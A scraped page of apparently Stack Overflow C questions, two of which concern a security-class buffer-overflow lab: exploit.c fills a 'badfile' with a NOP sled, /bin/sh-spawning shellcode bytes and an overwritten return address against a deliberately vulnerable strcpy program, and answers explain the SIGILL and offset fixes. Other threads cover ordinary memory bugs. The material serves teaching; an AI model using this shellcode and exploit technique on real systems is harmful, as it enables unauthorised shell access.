Exploit BOF in c? - c

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
*((long *) (buffer + 36)) = 0xffffce78 + 0x80;
memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
I'm just doing my assignment on BOF, now I know the two things to perform BOF.
1, address of instruction pointer, so as to point to my shellcode
2, address of my shell code.
The buffer address is 0xffffce28 in gdb and 0xffffce78 in C, $ebp points to 0xffffce48. So to get the address of eip, 0xffffce48 - 0xffffce28 + 4 = 36. But storing my shell code address, 0xffffce78, in buffer+36 raises illegal instruction(core dumped), but adding 0x80 with the buffer address works why?

Since the shell code is at the end of the buffer. The first instruction trying to execute is the eip value, *((long *) (buffer + 36)) = 0xffffce78 + 0x80; so this is not a legal instruction.

Related

Free throws error on malloc'd object

I'm trying to free a malloc'd buffer I made for a string, but free() gives me an error.
As I see it, the value of the pointer doesn't change, and both arrays are malloc'd. So it should be possible to free them?
I can't think of what I have done wrong.
Here is the code:
/* dump
* this function dumps the entry array to the command line
* */
void dump(PasswordEntry * entries, int numLines) {
int index = 0;
unsigned char *hexSalt = malloc(SALT_HEX_LENGTH+1), *hexHash = malloc(MAX_HASH_LEN+1); /* pointers for salt and hash, because we need them in hex instead of byte */
while (index < numLines) { /* go through every line */
/* gets us the salt in hex */
toHexBinary(hexSalt, entries[index].salt, SALT_HEX_LENGTH);
/* gets us the hash in hex, with length according to set algorithm */
toHexBinary(hexHash, entries[index].hash, (entries[index].algorithm == HASH_ALG_SHA1)?SHA1_HEX_LENGTH:SHA2_HEX_LENGTH);
/* prints one line to command line */
printf("%s: %s = %s (%s/%s)\n", entries[index].username, hexHash, (entries[index].password == NULL)?"???":entries[index].password, (entries[index].algorithm == HASH_ALG_SHA1)?"SHA1":"SHA2", hexSalt);
index++;
}
/* don't need these anymore, we can free them */
free(hexSalt);
free(hexHash);
}
/* takes a string in binary and returns it in hex (properly escaped) */
unsigned char * toHexBinary(unsigned char * to, unsigned char * from, int length) {
unsigned char c = '0';
int second = 0, first = 0;
if (to == NULL) { /* if to is null, we need to allocate it */
to = malloc(length+1);
}
to[length] = '\0';
while (length-- > 0) { /* go trough the string, starting at tthe end */
length--; /* we always need to read two characters */
c = from[length/2];
second = c % 16;
first = (c - second) / 16;
to[length] = toHex(first);
to[length+1] = toHex(second);
}
return to;
}
/* takes a numeric character and returns it's hex representation */
char toHex(int c) {
if (c < 10) return (char)(NUMBER_BEGIN + c); /* if it is under 10, we get the appropiate digit */
else return (char)(UPPER_BEGIN + (c - 10)); /* if it is over 10, we get the appropiate UPPERCASE character */
}
Here is the output of gdb:
Starting program: /crack -b ./hashes.txt 1 2
Breakpoint 1, dump (entries=0x604700, numLines=9) at crack.c:435
435 unsigned char *hexSalt = malloc(SALT_HEX_LENGTH+1), *hexHash = malloc(MAX_HASH_LEN+1); /* pointers for salt and hash, because we need them in hex instead of byte */
(gdb) next
437 while (index < numLines) { /* go through every line */
(gdb) p hexSalt
$1 = (unsigned char *) 0x604390 ""
(gdb) p hexHash
$2 = (unsigned char *) 0x604510 ""
(gdb) continue
Continuing.
Breakpoint 2, dump (entries=0x604700, numLines=9) at crack.c:449
449 free(hexSalt);
(gdb) p hexSalt
$3 = (unsigned char *) 0x604390 "1234567890FEDCBA0000"
(gdb) p hexHash
$4 = (unsigned char *) 0x604510 "05F770BDD6D78ED930A9B6B9A1F22776F13940B908679308C811978CD570E057"
(gdb) next
450 free(hexHash);
(gdb) next
*** Error in `/crack': free(): invalid next size (fast): 0x0000000000604510 ***
Program received signal SIGABRT, Aborted.
0x00007ffff7602267 in __GI_raise (sig=sig#entry=6)
at ../sysdeps/unix/sysv/linux/raise.c:55
55 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
toHexBinary(hexHash, entries[index].hash, (entries[index].algorithm == HASH_ALG_SHA1)?SHA1_HEX_LENGTH:SHA2_HEX_LENGTH);
You allocate only MAX_HASH_LEN+1 bytes for hexHash. But you are passing SHA1_HEX_LENGTH or SHA2_HEX_LENGTH.
If either of these values is greater than MAX_HASH_LEN, you have problem since the function toHexBinary() accesses hexHash[MAX_HASH_LEN]. This is probably what happens. You can't pass a value that's greater than MAX_HASH_LEN.
I encountered similar error, "free(): invalid next size " and "../sysdeps/unix/sysv/linux/raise.c: No such file or directory.".
I was running a peripheral init job and then do ROS init and some other job.
The peripheral init job runs fine and the ROS init job also works fine. But when do them together it always report this error.
finally I found this is a memory problem. in the malloc() I missed a * in sizeof() then the size of malloc memory is not correct.
just for someone who in the same boat.

C - Memory access with mmap

I have a hex file of 327680 characters which I'm writing to physical address 0x30000000 - 0x3004FFFF on the memory on my ARM linux system.
While reading back from the memory I'm getting a segfault after reading 64170 characters from the start address, ie at 0x3000FAAA.
If I change my starting address to 0x3000FA64, then also I get a segfault after 64170 characters.
How do I ensure data is accessed correctly if Data > 4kB (page size) ?
I'm unable to understand the exact problem, so I'm adding the snippet of my code below:
#define MAX_RANGE 327679
int fd;
FILE* fd_table=NULL;
unsigned long int count = 0 ;
void * mem;
void * aligned_vaddr;
unsigned long aligned_paddr;
uint32_t aligned_size;
unsigned long int addr_phys;
uint8_t *addr;
int g_size = 1;
unsigned long int g_paddr = 0x30000000; //Starting physical address
while((count<MAX_RANGE)){
g_paddr = addr_phys;
g_paddr &= ~(g_size - 1);
aligned_paddr = g_paddr & ~(4096 - 1);
aligned_size = g_paddr - aligned_paddr + (g_count * g_size);
aligned_size = (aligned_size + 4096 - 1) & ~(4096 - 1);
/* Align address to access size */
aligned_vaddr = mmap(NULL, aligned_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, aligned_paddr);
if (aligned_vaddr == NULL) {
printf("Error mapping address\n");
close(fd);
return 1;
}
mem = (void *)((uint32_t)aligned_vaddr + (g_paddr - aligned_paddr));
addr = mem;
fprintf(fd_table, "%02X\n",addr[0]);
addr_phys +=1; //Increment byte address
count++;
}
Note:
1. There is no error in the write process, I have verified by viewing the segfault address with memtool.
2. The address 0x30000000 onwards is not used by the system (I have ensured that in the u-boot).

C - Problems extracting data from buffer. Possibly endianess-related

I'm having some difficulties extracting data from a buffer using memcpy.
First, I memcpy some variables into a buffer:
int l1_connect(const char* hostname, int port) {
// Variables to be stored in the buffer
char *msg = "Hi, I'm a message"; // strlen(msg) == 17
uint16_t sender_id = htons(1); // sizeof(sender_id) == 2
uint16_t packet_size = htons(sizeof(packet_size)+sizeof(sender_id)+strlen(msg)); // sizeof(packet_size) == 2
// Checking values
printf("l1_connect():\nsender_id: %d, packet_size: %d\n\n", ntohs(sender_id), ntohs(packet_size));
// sender_id == 1, packet_size == 21
// The buffer
char buf[100];
// Copying everything
memcpy(&buf, &sender_id, sizeof(sender_id));
memcpy(&buf+sizeof(sender_id), &packet_size, sizeof(packet_size));
memcpy(&buf+sizeof(sender_id)+sizeof(packet_size), &msg, strlen(msg));
// Passing buf to another function
int bytes_sent = l1_send(1, buf, sizeof(buf));
}
I then try to extract that data (checking, before sending over UDP socket):
int l1_send( int device, const char* buf, int length ) {
// Variables in which to store extracted data
uint16_t id = 0;
uint16_t size = 0;
char msg[50];
memcpy(&id, &buf, sizeof(id));
memcpy(&size, &buf+sizeof(id), sizeof(size));
int remaining = ntohs(size) - (sizeof(id) + sizeof(size));
printf("l1_send():\nremaining: %d\n", remaining); // -37041
// memcpy-ing with correct(?) offset
memcpy(&msg, &buf+sizeof(id)+sizeof(size), 50);
msg[49] = '\0';
printf("id: %d\n", ntohs(id)); // 8372
printf("size: %d\n", ntohs(size)); // 37045
printf("msg: %s\n", msg); // ��$_�
return 0; // For now
}
As you can see, the values aren't quite what I'm expecting. Can anyone tell me what I'm doing wrong?
Your pointer math is incorrect. You're using &buf where you should just be using buf. If this doesn't explain what is wrong, nothing else I can say will:
#include <stdio.h>
int main(int argc, char **argv)
{
char buff[100];
printf("buff : %p\nbuff+10 : %p\n&buff+10 : %p\n", buff, buff+10, &buff+10);
return 0;
}
Output (varies by platform, obviously)
buff : 0xbf87a8bc
buff+10 : 0xbf87a8c6
&buff+10 : 0xbf87aca4
See it live. The math you're doing is incrementing by type, which for &buf is a pointer to array of 100 chars; not a simple char address. Therefore, &buff + 10 (in my sample) says "give me the 10th array of 100 chars from where I am now.". The subsequent write is invoking undefined behavior as a consequence.
Valgrind is your buddy here, btw. It would have caught this in a heartbeat.
Update
May as well fill in the entire gambit while I'm here. This is also wrong in l1_send:
memcpy(&id, &buf, sizeof(id));
// this------^
and the subsequent other areas you're using it in that function. You're taking the address of a parameter pointer, not the value within it. I'm confident you need buf there as well.
Try this:
memcpy(buf, &sender_id, sizeof(sender_id));
memcpy(buf + sizeof(sender_id), &packet_size, sizeof(packet_size));
memcpy(buf + sizeof(sender_id) + sizeof(packet_size), msg, strlen(msg));
To help you understand what is wrong with your code, you can read this.
Related: Pointer math vs. Array index

memcpy structure failed

I tried to memcpy measure_msg (struct test) to a buffer. However, the code below doesn't seems to copy the data. The value return
**** ptr:0xb781c238
**** ptr:0xb781c23c
**** ptr:0xb781c244
buff[0]=5 - buff[1]=0 - buff[2]=0 - buff[3]=0 - buff[4]=W - buff[5]= - buff[6]= - buff[7]= - buff[8]= - buff[9]= - buff[10]= - buff[11]= -
What has gone wrong in this chunk of code?
struct test{
int mode;
int id;
};
int func()
{
int i, size;
struct test measure_msg;
char buff[20];
char* ptr;
memset(&measure_msg, 0x00, sizeof(struct test));
ptr = buff;
fprintf(stderr, "**** ptr:%p\n", ptr);
sprintf(ptr, "%02d%02d", 50, 0);
ptr += 4;
size = 4;
size += sizeof(struct test);
fprintf(stderr, "**** ptr:%p\n", ptr);
measure_msg.id = 9999;
measure_msg.mode = 1111;
memcpy(ptr, &measure_msg, sizeof(struct test));
ptr += sizeof(struct test);
fprintf(stderr, "**** ptr:%p\n", ptr);
for (i=0; i<size; i++){
fprintf(stderr, "buff[%d]=%c - ", i, buff[i]);
}
return 0;
}
You're doing something strange but, look this:
sprintf(ptr, "%02d%02d", 50, 0);
You'll write a string to your buffer. Now buf will contains "5000". Please note that it won't contain the values 50 and 0 but their string representation!
Now when you copy the buffer to your struct you'll set its fields to these four bytes but they're not what you see when printing the string but its ASCII codes. Note that on this line:
fprintf(stderr, "buff[%d]=%c - ", i, buff[i]);
You print the content of the buffer as characters, '5' is stored as 0x35 (53 in decimal) then it'll be the content of the first byte of your structure (and so on).
If this is really what you want to do your code is exact (but you're playing too much with pointers, is it just a test?) but it's really really strange otherwise you're walking in the wrong direction to do what you need.
When you memcpy your measure_msg to the buff you are copying int type values. After that, you are printing char type values. An int type value is composed by 4 bytes which may have no printing representation: i.e 33752069 int value, 0x02030405 in hex format, has 4 bytes that, once been printed like chars you get 0x02, 0x03, 0x04 and 0x05 char values.
Change your print masc to use int values and cast each buff[i] to int and your values will be printed.
fprintf(stderr, "buff[%d]=%d - ", i, (int)buff[i])
The memcpy () call is working all right on my system (GCC/MinGW, Windows). You aren't getting the proper output because some of the "characters" getting copied into buff are non-printable.
Try
fprintf (stderr, "buff[%d]=%x - ", i, buff[i]);
instead.
The data will be stored as
buff [0] = 0x35 /* ASCII for '5' */
buff [1] = 0x30 /* ASCII for '0' */
buff [2] = 0x30
buff [3] = 0x30
buff [4] = 0x57 /* as 1111 is 0x00000457 in hex */
buff [5] = 0x04 /* stored in little endian convention */
buff [6] = 0x00 /* and here size of int = 4 */
buff [7] = 0x00
buff [8] = 0x0F /* as 9999 is 0x0000270F in hex */
buff [9] = 0x27
buff [10] = 0x00
buff [11] = 0x00
But what are you trying to do anyway, by copying a struct to an array of chars?

Getting SIGILL when trying to execute buffer overflow attack

I'm working on my buffer overflow project for my security class, I think I have everything set up right but when I run it I get:
Program received signal SIGILL, Illegal Instruction.
0x08048500 in main(argc=4854718, argv=0x0804b008) at stack.c:22
22 fread(str,sizeof(char),517,badfile);
Heres stack.c
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
here is exploit.c
char code[]=
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x99" // cltd
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
char retaddr[] = "\x70\xF2\xFF\xBF";
void main(int argc, char **argv)
{
char strr[517];
strr[0] = 'Z';
strr[1] = 0;
strr[2] = '\x00';
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
//memcpy(buffer, "EGG=", 4);
memcpy(buffer, code, 24);
memcpy(buffer+20,retaddr,4);
memcpy(buffer+24,"\x00\x00\x00\x00",4);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
Here is the stack at runtime.
Starting program: /home/john/stack
Breakpoint 1, bof (
str=0xbffff2b7 "1\300Phn/shh//bi\211\343\231RS\211\341p\362\377\277")
at stack.c:13
13 strcpy(buffer, str);
(gdb) x/12xw $esp
0xbffff270: 0x00000205 0xbffff298 0x004a13be 0x0804b008
0xbffff280: 0xbffff2b7 0x00000205 0xb7fef6c0 0x00584ff4
0xbffff290: 0x00000000 0x00000000 0xbffff4c8 0x0804850f
(gdb) s
14 return 1;
(gdb) x/12xw $esp
0xbffff270: 0xbffff284 0xbffff2b7 0x004a13be 0x0804b008
0xbffff280: 0xbffff2b7 0x6850c031 0x68732f6e 0x622f2f68
0xbffff290: 0x99e38969 0xe1895352 0xbffff270 0x08048500
(gdb) c
Continuing.
Any idea why I'm getting SIGILL?
Because you're executing illegal code. In your exploit.c, you're overwriting offsets 20-23 with the return address -- those bytes were previously the b0 0b cd 80 corresponding to the last two mov $0xb,%al and int $0x80 instructions. The zero bytes you put in there are illegal code.
Since the return address has to go at that specific offset for this target, you need to modify your shell code not to use that data. I'd suggest either moving the shell code to after that offset and pointing the return address there, or putting in a jump over the return address so that the processor doesn't try to execute it.

Resources